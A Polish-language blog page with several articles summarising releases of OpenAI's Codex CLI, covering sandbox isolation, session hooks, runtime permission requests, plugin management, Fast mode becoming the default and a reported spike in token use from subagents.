    Najnowsza wersja narzędzi deweloperskich OpenAI, opartych na modelach takich jak Codex, przynosi zestaw eksperymentalnych funkcji, które mają na celu zwiększenie kontroli i stabilności pracy programistów. To nie jest rewolucyjna aktualizacja, lecz seria precyzyjnych udoskonaleń rozwiązujących konkretne problemy zgłaszane przez społeczność. Głównymi nowościami w tym wydaniu są eksperymentalny tryb kodu dla lepszej izolacji, nowy silnik hooków oraz kluczowe poprawki błędów wpływające na codzienną pracę.

    Eksperymentalny tryb kodu: izolacja na pierwszym planie

    Jedną z najciekawszych nowości jest eksperymentalny tryb kodu (experimental code mode). Jego głównym zadaniem jest zapewnienie bardziej odizolowanych środowisk pracy. W praktyce oznacza to, że różne zadania czy workflowy mogą być uruchamiane w osobnych, wydzielonych kontekstach.

    Po co taka izolacja? Chodzi o redukcję interferencji. Podczas pracy nad kilkoma projektami jednocześnie lub testowania różnych skryptów istnieje ryzyko, że zmiany w jednym środowisku wpłyną nieoczekiwanie na drugie. Nowy tryb ma minimalizować to ryzyko, tworząc "piaskownice" (sandboxy) dla poszczególnych zadań. To podejście jest szczególnie cenne w złożonych pipeline'ach lub podczas eksperymentowania z nowymi bibliotekami, gdzie czystość środowiska ma kluczowe znaczenie.

    Nowy silnik hooków: SessionStart i SessionStop

    Kolejną eksperymentalną funkcją jest silnik hooków (hooks engine). Wprowadza on dwa nowe zdarzenia: SessionStart i SessionStop. Hooki to potężny mechanizm pozwalający deweloperom na "podpinanie" własnej logiki w kluczowych momentach cyklu życia sesji.

    Wyobraź sobie, że chcesz automatycznie uruchomić skrypt czyszczący pliki tymczasowe po zakończeniu sesji, zainicjować konkretną konfigurację środowiska na jej starcie lub wysłać powiadomienie do zespołu. Dzięki nowym hookom takie automatyzacje stają się możliwe bez bezpośredniego modyfikowania jądra (core) narzędzia. Otwiera to drogę do lepszego dostosowywania środowiska do specyficznych potrzeb projektu i wewnętrznych procedur.

    Endpointy health check dla WebSocketów i wyłączanie systemowych skilli

    Endpointy health check dla WebSocketów i wyłączanie systemowych skilli

    Dla osób wdrażających aplikacje oparte na WebSocketach aktualizacja wprowadza praktyczne ulepszenie operacyjne. WebSocket app-server deployments wystawiają teraz endpointy GET /readyz oraz GET /healthz na tym samym listenerze.

    To standardowe, ale niezwykle ważne punkty końcowe w świecie DevOps. Umożliwiają one narzędziom monitorującym (takim jak Kubernetes czy load balancery) łatwe sprawdzanie żywotności i gotowości usługi. Dzięki temu wdrożenia produkcyjne stają się bardziej odporne i łatwiejsze w zarządzaniu.

    Dodano też prosty, ale użyteczny przełącznik konfiguracyjny: możliwość wyłączenia wbudowanych systemowych skilli (bundled system skills). Nie każdy projekt potrzebuje pełnego zestawu domyślnych umiejętności. Dzięki tej opcji użytkownicy mogą odciążyć środowisko z niepotrzebnych komponentów, co może przełożyć się na mniejsze zużycie zasobów i mniejszy "szum" w interakcjach.

    Usprawnienia workflowu: lepsze handoffy i czytelniejszy picker

    Wydanie przynosi też subtelne, ale odczuwalne poprawki w płynności pracy. Handoffy (przekazywanie zadań) zostały wzbogacone o kontekst z transkrypcji w czasie rzeczywistym. Gdy przekazujesz zadanie innemu członkowi zespołu lub wznawiasz pracę nad wątkiem po przerwie, masz teraz lepszy wgląd w to, co działo się wcześniej. Poprawia to ciągłość pracy i skraca czas potrzebny na ponowne wejście w kontekst zadania.

    Ulepszono również mention picker – narzędzie służące do wybierania i odwoływania się do różnych elementów. Poprawki skupiły się na zwiększeniu jego czytelności, co ma przyspieszyć nawigację i zmniejszyć liczbę pomyłek podczas codziennego użytkowania.

    Ważne poprawki błędów zwiększające stabilność

    Ważne poprawki błędów zwiększające stabilność

    Żadne wydanie nie mogłoby się obyć bez poprawek, a w tej aktualizacji są one szczególnie istotne dla stabilności:

    • Naprawiono awarie tmux. To krytyczna poprawka dla użytkowników pracujących w terminalu, gdzie crashe mogły skutkować utratą sesji.
    • Zaostrzono kontrole włączania aplikacji. Naprawiono problem, przez który aplikacje mogły być uruchamiane w nieobsługiwanych sesjach, co prowadziło do niespójnego zachowania.
    • Rozwiązano problem z wątkami oznaczanymi jako "w toku". Dotyczyło to sytuacji, gdy użytkownik zakończył pracę w trakcie działania procesu (mid-run), a później ją wznowił – wątek mógł utknąć w nieprawidłowym stanie.
    • Ulepszono zarządzanie uprawnieniami. Poprawka zachowuje oczekiwane zachowanie dla workspace-write, zapewniając jednocześnie bezpieczną degradację (graceful degradation) w starszych buildach. Jest to kluczowe dla kompatybilności wstecznej.

    Jak zainstalować i kontekst szerszych wydań

    Instalacja nowych narzędzi i bibliotek OpenAI zazwyczaj odbywa się przez menedżery pakietów, takie jak npm. Warto zapoznać się z oficjalną dokumentacją OpenAI, aby poznać aktualne metody instalacji i dostępne pakiety.

    Warto spojrzeć na to wydanie w szerszym kontekście cyklu rozwojowego. Ta aktualizacja koncentruje się na izolacji, hookach i stabilności. Kolejne wersje wprowadzały już bardziej spektakularne nowości, takie jak inspekcja obrazów w pełnej rozdzielczości czy rozszerzony kontekst JavaScript REPL. Pokazuje to iteracyjne podejście: najpierw buduje się solidny fundament i mechanizmy (jak hooki), a potem na nich opiera nowe, bogatsze funkcje.

    Podsumowanie: solidny krok naprzód

    Ta aktualizacja to wydanie inżynieryjne, które może nie rzucać się w oczy efektownymi interfejsami, ale znacząco poprawia jakość i kontrolę nad procesem deweloperskim. Wprowadzenie eksperymentalnego trybu izolacji i silnika hooków wskazuje na kierunek rozwoju platformy w stronę większej modularności, bezpieczeństwa i możliwości automatyzacji. Jednocześnie poprawki błędów związanych z tmux, wątkami i uprawnieniami bezpośrednio rozwiązują problemy użytkowników, zwiększając ogólną niezawodność narzędzia. To właśnie takie aktualizacje, które naprawiają, usprawniają i dają nowe, bazowe możliwości, często mają największy wpływ na produktywność w dłuższej perspektywie.

  • Codex 0.113.0: większa kontrola nad uprawnieniami, rynek pluginów i lepszy serwer aplikacji

    Codex 0.113.0: większa kontrola nad uprawnieniami, rynek pluginów i lepszy serwer aplikacji

    Wydanie Codex 0.113.0 to nie tylko kolejna aktualizacja, ale solidny krok naprzód w budowaniu platformy do zaawansowanej automatyzacji kodowania. OpenAI skupia się na trzech kluczowych filarach: bezpieczeństwie, ekosystemie i użyteczności. Najnowsza wersja wprowadza dynamiczne żądania uprawnień w runtime, ulepsza zarządzanie pluginami i znacząco poprawia wydajność serwera aplikacji. Dla developerów oznacza to większą elastyczność i mniej problemów technicznych.

    Dynamiczne uprawnienia: agent pyta o pozwolenie

    Jedna z najciekawszych nowości to wbudowane narzędzie request_permissions. Do tej pory Codex wymagał predefiniowanego zestawu uprawnień przy uruchomieniu. Jeśli w trakcie pracy agent potrzebował dostępu do nowego zasobu, mógł po prostu przestać działać.

    Teraz to się zmienia. Działający agent może w trakcie wykonywania zadania poprosić użytkownika o dodatkowe uprawnienia, np. dostęp do konkretnego katalogu, połączenia sieciowego czy uruchomienie zewnętrznego polecenia. To rozwiązanie przypomina systemy uprawnień znane z nowoczesnych mobilnych systemów operacyjnych.

    Dlaczego to ważne? Zwiększa płynność pracy. Zamiast przewidywać każdy scenariusz w konfiguracji, możemy zacząć zadanie z podstawowym zestawem uprawnień, a Codex poprosi o więcej w miarę potrzeb. To duży krok w stronę bardziej interaktywnej i opartej na współpracy automatyzacji.

    Dojrzałość ekosystemu pluginów: odkrywanie i zarządzanie

    Pluginy w Codex zyskują na dojrzałości, co widać w kilku konkretnych ulepszeniach. Po pierwsze, dodano endpoint plugin/uninstall, który wreszcie pozwala na czyste usunięcie niechcianych rozszerzeń. To podstawowa funkcja, której brak był dotkliwy przy zarządzaniu środowiskiem.

    Po drugie, metadane zwracane przez polecenie plugin/list są teraz bogatsze. Mamy więcej informacji o samym pluginie, jego autorze czy wymaganiach. Instalacja jest też bezpieczniejsza, ponieważ weryfikacja autoryzacji następuje już na etapie instalacji, a nie dopiero przy pierwszym uruchomieniu. Te zmiany sprawiają, że zarządzanie wtyczkami przestaje być eksperymentem, a staje się przewidywalną częścią workflow.

    Aplikacje i serwer: poprawki i niezawodność

    Ulepszenia serwera aplikacji (app-server) są skierowane do osób, które używają Codex w zautomatyzowanych pipeline'ach lub integrują go z własnymi narzędziami. Wprowadzono między innymi health checki, które zwiększają niezawodność monitorowania.

    Exec został też przeniesiony na nową, wewnątrzprocesową ścieżkę serwera aplikacji, co zwiększa wydajność i stabilność. Te poprawki sprawiają, że integracja Codex z innymi systemami staje się bardziej niezawodna.

    Bezpieczeństwo i konfiguracja: nowy język polityk

    Bezpieczeństwo i konfiguracja: nowy język polityk

    Bezpieczeństwo sandboxa przeszło spory lifting. Wprowadzono wstępne wsparcie dla konfiguracji profili uprawnień (permission-profile) w pliku config.toml. Jest to istotne dla zespołów korporacyjnych i każdego, kto poważnie traktuje bezpieczeństwo. Daje to administratorom narzędzie do definiowania zasad zgodnych z polityką firmy, bez blokowania produktywnej pracy.

    Konfiguracja wyszukiwania w sieci również została rozbudowana. Nie jest to już prosty przełącznik on/off. Możemy skonfigurować filtry, ustawienia zależne od lokalizacji i inne parametry narzędzia, co pozwala dostosować je do specyficznych potrzeb projektu lub wymogów compliance.

    Poprawki i usprawnienia pod maską

    Wydanie przynosi też zestaw ważnych poprawek rozwiązujących codzienne problemy. Dodano ściślejszą walidację katalogu roboczego przy starcie sandboxa, co powinno zwiększyć stabilność działania.

    Dla użytkowników pluginów istotna jest poprawka gwarantująca, że wtyczki ładują się poprawnie w sesjach TUI. Brzmi to technicznie, ale wcześniej mogło się zdarzyć, że plugin był zainstalowany, lecz nie działał w interfejsie tekstowym.

    Ciekawostką jest dodanie funkcji inspekcji obrazów. Dla użytkowników Windowsa mamy dobrą wiadomość: wydania CLI są teraz publikowane także w menedżerze pakietów winget.

    Podsumowanie: w stronę bardziej responsywnej platformie

    Codex 0.113.0 nie rewolucjonizuje jednej konkretnej funkcji, ale konsekwentnie poprawia fundamenty platformy. Wprowadzenie dynamicznych uprawnień to zmiana filozofii – ze sztywnego agenta na współpracownika, który pyta i dostosowuje się na bieżąco. Dojrzałość zarządzania pluginami oraz istotne ulepszenia serwera aplikacji otwierają nowe możliwości integracji i automatyzacji złożonych procesów.

    Nowe wsparcie dla profili uprawnień to odpowiedź na potrzeby profesjonalnego, zespołowego wykorzystania Codex w środowiskach, gdzie kontrola jest kluczowa. Wszystko to uzupełnia solidna porcja poprawek błędów, dzięki którym codzienna praca z narzędziem staje się po prostu przyjemniejsza. Widać wyraźnie, że projekt open-source Codex CLI ewoluuje w kompletne, robustowe środowisko deweloperskie. Aktualizację można zainstalować standardowo przez npm: npm install -g @openai/[email protected].

  • Codex v0.112.0 wprowadza wzmianki @plugin i zaostrza bezpieczeństwo sandboxów

    Codex v0.112.0 wprowadza wzmianki @plugin i zaostrza bezpieczeństwo sandboxów

    Najnowsza wersja terminalowego asystenta programistycznego od OpenAI, Codex 0.112.0, to solidna aktualizacja skupiająca się na dwóch kluczowych obszarach: wygodzie integracji pluginów i bezpieczeństwie wykonywania narzędzi. Wydanie, które trafiło do użytkowników w marcu 2026 roku, nie przynosi rewolucyjnych zmian w interfejsie, ale za to subtelnie, acz znacząco, usprawnia codzienną pracę z AI w terminalu.

    Głównymi nowościami tej odsłony są możliwość bezpośredniego przywoływania pluginów w czacie za pomocą symbolu @ oraz fundamentalne zmiany w polityce sandboxów, które mają zapobiegać nieautoryzowanym działaniom. To ewolucja wpisująca się w trend rozbudowy ekosystemu Codexa – lekkiego agenta, który zdobył już sporą popularność wśród deweloperów.

    Łatwiejsza integracja: wywołaj plugin w rozmowie za pomocą @

    Jedną z bardziej praktycznych nowości jest funkcja @plugin mentions. Do tej pory korzystanie z funkcjonalności pluginów mogło wymagać pamiętania o specyficznych komendach lub kontekstach. Teraz, w trakcie rozmowy z Codexem w terminalu (TUI), wystarczy wspomnieć o pluginie, używając @nazwa_plugina.

    Na przykład, pisząc „@git jaki jest status mojego repozytorium?”, użytkownik automatycznie załącza kontekst związany z danym pluginem, aplikacją lub umiejętnością (skill). To małe, ale niezwykle przydatne udogodnienie, które sprawia, że praca z wieloma rozszerzeniami staje się bardziej płynna i intuicyjna. Zmiana ta (oznaczona w changelogu jako #13510) bezpośrednio odpowiada na potrzeby użytkowników, którzy chcą szybko przełączać się między różnymi narzędziami bez przerywania flow pracy.

    Poza tym zaktualizowano też katalog modeli w interfejsie TUI. Teraz wybór modelu podczas rozpoczynania sesji lepiej odzwierciedla aktualną ofertę OpenAI.

    Bezpieczeństwo przede wszystkim: nowa polityka sandboxów dla zsh-fork

    Jeśli integracja pluginów to kwestia wygody, to druga główna zmiana dotyczy fundamentów bezpieczeństwa. W wersji 0.112.0 połączono profile uprawnień wykonywalnych z polityką sandboxa na każdą turę (per-turn sandbox policy). To techniczne, ale kluczowe usprawnienie dotyczące wykonywania umiejętności typu zsh-fork.

    W skrócie: kiedy Codex uruchamia narzędzie systemowe lub skrypt, robi to w izolowanym środowisku (sandboxie). Dotychczasowe, oddzielne profile uprawnień zostały teraz scalone z główną polityką sandboxa dla danej operacji. Daje to bardziej spójny, addytywny (czyli kumulujący uprawnienia tylko w razie potrzeby) i przede wszystkim bezpieczniejszy model przyznawania dostępu. Sandbox stał się surowszy i bardziej przewidywalny, co minimalizuje ryzyko nieautoryzowanych działań podczas automatycznego wykonywania poleceń.

    Ta zmiana (o numerze #13496) pokazuje, że twórcy Codexa traktują bezpieczeństwo poważnie, szczególnie w kontekście agenta, który ma bezpośredni dostęp do systemu i może wykonywać polecenia. Jest to niezwykle istotne dla deweloperów i zespołów DevOps, którzy powierzają Codexowi automatyzację wrażliwych części workflow.

    Stabilność i izolacja: poprawki pod maską

    Oprócz dwóch flagowych funkcji, wydanie 0.112.0 naprawia szereg błędów i wzmacnia system. To właśnie te poprawki często decydują o tym, czy narzędzie jest po prostu dobre, czy też można na nim polegać w codziennej pracy.

    • Naprawiono obsługę stanu JS REPL*. REPL (Read-Eval-Print Loop) to interaktywne środowisko do uruchamiania kodu JavaScript, a problemy z zarządzaniem jego stanem mogły prowadzić do niespójnych wyników lub błędów. Teraz funkcja ta działa poprawniej.

    Kluczową poprawką jest też bezpieczne zamykanie serwera (graceful shutdown). Gdy aplikacja serwerowa Codexa otrzymuje sygnał SIGTERM (standardowy sygnał zamknięcia), traktuje go jak naciśnięcie Ctrl-C. Dzięki temu połączenia WebSocket zamykają się w uporządkowany sposób, a nie są gwałtownie przerywane. Pozwala to uniknąć potencjalnego uszkodzenia danych i zapewnia stabilność.

    Wzmocniono także bezpieczeństwo przesyłania obrazów w JS REPL. Funkcja emitImage została „utwardzona” i teraz akceptuje wyłącznie adresy URL zaczynające się od data:. Blokuje to możliwość przesyłania obrazów z zewnętrznych, potencjalnie niebezpiecznych źródeł, zamykając kolejną ewentualną lukę.

    Usprawnienia dla różnych systemów operacyjnych

    Usprawnienia dla różnych systemów operacyjnych

    Codex rozwija się jako narzędzie wieloplatformowe, stąd poprawki dotyczące specyfiki różnych systemów.

    W przypadku Linuxa usprawniono izolację za pomocą bubblewrap (narzędzia do tworzenia sandboxów). Poprawka (#13624) zapewnia, że przestrzenie nazw użytkownika (user namespaces) nie są współdzielone, co gwarantuje silniejszą izolację. Działa to niezawodnie nawet w sytuacjach, gdy Codex jest uruchamiany z uprawnieniami roota, co jest ważne w zaawansowanych scenariuszach DevOps.

    Dla użytkowników macOS naprawiono konfigurację sieci w sandboxie opartym na mechanizmie Seatbelt od Apple. Z kolei w wersji na Linuxa poprawiono ogólne ustawienia sieciowe sandboxa, aby działały bardziej przewidywalnie.

    Jak to wpisuje się w szerszy obraz Codexa?

    Wydanie 0.112.0 to kolejny krok po znaczących aktualizacjach z ostatnich miesięcy.

    Wersja 0.111.0 włączyła domyślnie tryb Fast (szybsze, ale mniej szczegółowe odpowiedzi), dodała dynamiczne importy w JS REPL i rozszerzyła możliwości pracy z obrazami. Z kolei 0.110.0 była dużą zmianą, wprowadzającą cały system pluginów z umiejętnościami i konektorami, trwały przełącznik trybu Fast, ulepszone „wspomnienia” (memories) oraz liczne poprawki stabilności.

    Codex ewoluuje z prostego, tekstowego bota do kodowania w pełnoprawny ekosystem. Kolejne wersje, jak 0.113.0, rozbudowują go dalej o zaawansowane przepływy pracy z pluginami.

    • Podsumowując*, Codex v0.112.0 to aktualizacja stawiająca na praktyczność i bezpieczeństwo. Wprowadzenie wzmianek @plugin upraszcza interakcję z rosnącą biblioteką rozszerzeń, czyniąc terminalowego asystenta bardziej elastycznym. Jednocześnie głębokie przebudowanie polityki sandboxów dla zsh-fork oraz liczne poprawki stabilności świadczą o dojrzałości projektu.

    Choć zmiany te nie rzucają się w oczy od razu, to właśnie takie udoskonalenia – poprawiające codzienną ergonomię i budujące zaufanie do bezpieczeństwa wykonywanych poleceń – są często najcenniejsze. Dla deweloperów, szczególnie tych zajmujących się web developmentem, AI i automatyzacją DevOps, Codex 0.112.0 oferuje płynniejsze i znacznie pewniejsze środowisko do „vibe codingu” bez wychodzenia z terminala.

  • Codex v0.111.0: Tryb Fast Domyślnie Włączony I Kluczowe Ulepszenia Interfejsu

    Codex v0.111.0: Tryb Fast Domyślnie Włączony I Kluczowe Ulepszenia Interfejsu

    Najnowsza aktualizacja Codex, oznaczona numerem 0.111.0, przynosi istotną zmianę w domyślnej konfiguracji tego zaawansowanego asystenta programistycznego. Tryb Fast jest teraz włączany automatycznie dla wszystkich nowych sesji. Wprowadzono też wyraźny wskaźnik w interfejsie tekstowym (TUI), który informuje, czy sesja działa w trybie szybkim, czy standardowym. Te pozornie drobne modyfikacje mają duży wpływ na wydajność i przejrzystość pracy z narzędziem, choć – jak się okazuje – nie obyło się bez pewnych problemów.

    Co oznacza tryb Fast w Codex?

    Tryb Fast w Codex to ustawienie, które bezpośrednio wpływa na to, jak szybko asystent wykonuje wnioskowanie (inference) pomiędzy wątkami, agentami podrzędnymi (subagents) oraz podczas kompaktowania zadań. Przełączenie na Fast oznacza priorytet dla szybkości działania. W opisie funkcji podkreśla się, że zapewnia ona „najszybsze wnioskowanie kosztem 2-krotnie szybszego zużycia zasobów planu”.

    To kluczowa informacja dla użytkowników. W trybie Standard Codex może działać bardziej zachowawczo, zarządzając zasobami w sposób zrównoważony. Tryb Fast zdejmuje te ograniczenia, co przekłada się na szybsze odpowiedzi, ale i szybsze zużywanie dostępnych limitów. Do tej pory użytkownik musiał ten tryb wybrać świadomie. W wersji 0.111.0 deweloperzy uznali, że większość osób preferuje szybkość, i ustawili ją jako opcję domyślną.

    Wizualna informacja w nagłówku TUI

    Drugim ważnym ulepszeniem jest modyfikacja interfejsu tekstowego. Nagłówek TUI wyraźnie wyświetla teraz informację o aktualnie aktywnym trybie sesji – Fast lub Standard. To nie tylko kwestia estetyki.

    Dzięki temu programiści od razu widzą, w jakim trybie pracuje Codex. Ma to szczególne znaczenie teraz, gdy tryb szybki jest domyślny. Jeśli ktoś zauważy zbyt gwałtowny spadek dostępnych zasobów, ten wskaźnik daje mu natychmiastową podpowiedź co do potencjalnej przyczyny. Przejrzystość w zarządzaniu kosztami i wydajnością jest w przypadku takich narzędzi kluczowa.

    Inne ulepszenia w pakiecie

    Wydanie 0.111.0 to nie tylko zmiana trybu. Wprowadzono też inne istotne funkcjonalności.

    • Dynamiczny import lokalnych plików JavaScript w środowisku REPL (js_repl) to spore ułatwienie. Teraz można bezpośrednio importować lokalne pliki .js i .mjs, co ułatwia ponowne wykorzystanie skryptów z obszaru roboczego podczas interaktywnej pracy. To mały, ale praktyczny krok w stronę lepszej integracji.

    • Ulepszone wykrywanie pluginów to kolejna zmiana. Codex informuje teraz model o tym, które wtyczki są włączone na początku każdej sesji. Poprawia to wykrywanie zainstalowanych serwerów MCP (Model Context Protocol), aplikacji i umiejętności, pozwalając asystentowi od razu z nich skorzystać.

    Nieoczekiwane skutki uboczne: skoki zużycia zasobów

    Niestety, zmiany w wersji 0.111.0 nie przeszły bezproblemowo. Wśród użytkowników szybko pojawiły się zgłoszenia o gwałtownych skokach zużycia tokenów i zasobów planu po aktualizacji. Analiza problemu prowadzona na forach deweloperskich wskazuje na połączenie dwóch czynników.

    Po pierwsze, samo włączenie domyślnego trybu Fast powoduje szybsze zużycie zasobów – było to oczekiwane, ale może zaskoczyć nieprzygotowanych użytkowników. Po drugie, co prawdopodobnie istotniejsze, w tej samej wersji wprowadzono zmiany w logice zdolności agentowych (agency).

    Algorytmy odpowiedzialne za tworzenie agentów podrzędnych (subagents) stały się bardziej agresywne. Są one teraz jawnie zachęcane do równoległego uruchamiania wielu „eksplorerów” i ponownego ich wykorzystywania. W praktyce po aktualizacji sesje nadrzędne zaczęły tworzyć znacznie więcej długożyjących agentów podrzędnych, często z flagą fork_context: true.

    Efekt? Jeden z raportów pokazuje, jak dzienne zużycie tokenów u jednego użytkownika skoczyło z poziomu około 100–180 milionów przed aktualizacją do ponad 1 miliarda w wersji 0.111.0. W niektóre dni nawet 86% wszystkich tokenów było zużywanych przez agentów podrzędnych, a nie przez główną sesję. To już nie tylko kwestia samego trybu Fast, ale zmiany w fundamentalnym zachowaniu systemu.

    Co to oznacza dla programistów?

    Zmiany w Codex 0.111.0 mają swoje dobre i złe strony. Z jednej strony domyślna szybkość i lepsza informacja w TUI to ewidentne ułatwienia. Praca staje się płynniejsza, a interfejs bardziej przejrzysty.

    Z drugiej strony należy zachować teraz szczególną czujność. Korzystając z zaawansowanych funkcji, zwłaszcza tych związanych z wieloma agentami, można nieoczekiwanie narazić się na bardzo wysokie zużycie zasobów. Warto regularnie sprawdzać wskaźnik w nagłówku TUI. Należy też pamiętać, że tryb można zmienić – jeśli priorytetem jest oszczędność zasobów, a nie maksymalna prędkość, powrót do ustawienia Standard będzie rozsądnym krokiem.

    Problem ze skokami zużycia został zgłoszony jako regresja i jest badany przez zespół deweloperski. To naturalna część cyklu rozwoju złożonego oprogramowania. Kluczowe jest jednak, aby użytkownicy byli świadomi tej dynamiki.

    Wnioski

    Aktualizacja Codex do wersji 0.111.0 pokazuje klasyczny dylemat rozwoju zaawansowanych narzędzi AI: balans między wydajnością, funkcjonalnością a przewidywalnością kosztów. Włączenie trybu Fast domyślnie to wyraźny sygnał, że twórcy stawiają na szybkość działania, prawdopodobnie odpowiadając na feedback społeczności.

    Jednak równoległa zmiana w logice agentów podrzędnych, choć mająca na celu poprawę możliwości systemu, wprowadziła istotny efekt uboczny. Przypomina to, że takie systemy są niezwykle złożone, a pozornie odrębne modyfikacje mogą na siebie nieoczekiwanie oddziaływać.

    Dla programisty korzystającego z Codex najważniejsza jest teraz świadomość: domyślnych ustawień, informacji widocznych w interfejsie oraz potencjalnego wpływu narzędzia na zużycie zasobów. Nowy wskaźnik w TUI jest w tej sytuacji bezcenny – pozwala trzymać rękę na pulsie i w porę zareagować, jeśli praca z asystentem stanie się zbyt kosztowna. Ostatecznie to od użytkownika zależy, jak wykorzysta potencjał szybszego trybu, zarządzając jednocześnie nowymi, bardziej złożonymi zachowaniami systemu.